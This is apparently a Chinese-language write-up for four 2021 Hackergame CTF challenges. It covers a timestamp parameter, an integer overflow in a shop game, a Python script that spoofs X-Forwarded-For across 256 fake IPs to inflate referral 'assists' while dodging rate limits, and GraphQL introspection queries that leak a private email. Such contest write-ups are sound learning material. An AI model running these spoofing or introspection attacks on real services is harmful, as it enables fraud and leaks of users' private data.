2021 Hackergame
签到
题目给了一本日记,然后说翻开到比赛进行期间的任何一页就能得到 flag,观察请求方法就能发现,题目用了GET方法传page参数,然后page的参数就是当前的时间戳,因此我们直接用python的time库生成当前的时间戳即可time.time()
买瓜
这一题涉及到了整数溢出的知识,原理我也不是很懂,这里就说一下解题步骤。
这里需要在6和9两个数里面加出20,但是正常情况下是无法实现的。
- 第一步是先要确定这个数由多少个二进制数构成的,通常一个数是由4个字节或者8字节组成,一个字节有8位,因此我们可以大胆猜测32位和64位,具体怎么猜呢,这里以64位为例:
# 计算2的64次方是多大
>>> 2**64
18446744073709551616
# 然后再整除9,也就是包含了多少个9
>>> 2**64//9
2049638230412172401
然后去买2049638230412172401个9斤的瓜,可以看到返回的结果还是0斤,因此可以判断这个数是8字节组成的。
- 然后就是根据位数去构造溢出
# 尝试让其再大一点,最少是到5倍最大值的时候能返回负数
>>> 2049638230412172401*5
10248191152060862005
买18446744073709551609斤的瓜,发现它溢出变成负数了-9223372036854775808
(但又不至于变成浮点数)
# 接着想办法把负数变为正数
>>> 9223372036854775808//9
1024819115206086200
买1024819115206086200斤的瓜,发现剩下-8
斤了,然后再买1个9斤的瓜就能够变成1斤。
- 重复第二个步骤一次,那么就能够得到2斤,最后再买2个9斤的瓜就能够凑成20斤了。
FLAG 助力大红包
该题是要让不同的用户去访问这个助力链接,先看他的判断不同用户的规则:
通过截包发现用户每次点击助力链接的时候会POST一个ip参数,他会在后端判断该ip参数和用户本身的ip时候一致,一致才能助力成功;那么后端怎么获取用户本身的ip呢?一般情况下后端是通过HTTP中的 X-Forwarded-For 字段来判断用户的ip的,因此,我们在请求该链接的时候只需带上POST的ip一样的X-Forwarded-For即可,EXP:
import requests
import time
url = "http://202.38.93.111:10888/invite/32b9bd19-2c3f-4e72-a1f7-a949ef42746a"
for i in range(0,256):
head = {'X-Forwarded-For':f'{i}.1.1.1'}
data = {'ip':f'{i}.1.1.1'}
r = requests.post(url=url,headers=head,data=data)
if i%10==0:
time.sleep(3)
print(r.text)
这里需要连续请求10次要延时一下,否则会说请求速度太快。
图之上的信息
题目提示是GraphQL查询语言,flag位管理员的邮箱,本菜鸡根本没没听过GraphQL是什么东西,于是直接搜索其漏洞,找到该文章:GraphQL安全指北
回到题目,在以gusest身份登陆之后通过截包发现 GraphQL 的请求语句,再根据上述文章进行操作:
- 首先通过
__schema
查询所有可用对象
"query":"{ __schema{ types { name }}}"
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"GNote"},{"name":"Int"},{"name":"String"},{"name":"GUser"},{"name":"Boolean"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
可以看到其中有个叫GUser的对象
- 然后通过
__type
查询指定对象的所有字段
{"query":" __type(name: \"GUser\"){name fields{name type{name}}} "}
{"data":{"__type":{"name":"GUser","fields":[{"name":"id","type":{"name":"Int"}},{"name":"username","type":{"name":"String"}},{"name":"privateEmail","type":{"name":"String"}}]}}}
发现其中有privateEmail字段
- 最后查询privateEmail的内容
{"query":"{ user(id:1) { privateEmail } }"}
{"data":{"user":{"privateEmail":"flag{dont_let_graphql_l3ak_data_d4d371e762@hackergame.ustc}"}}}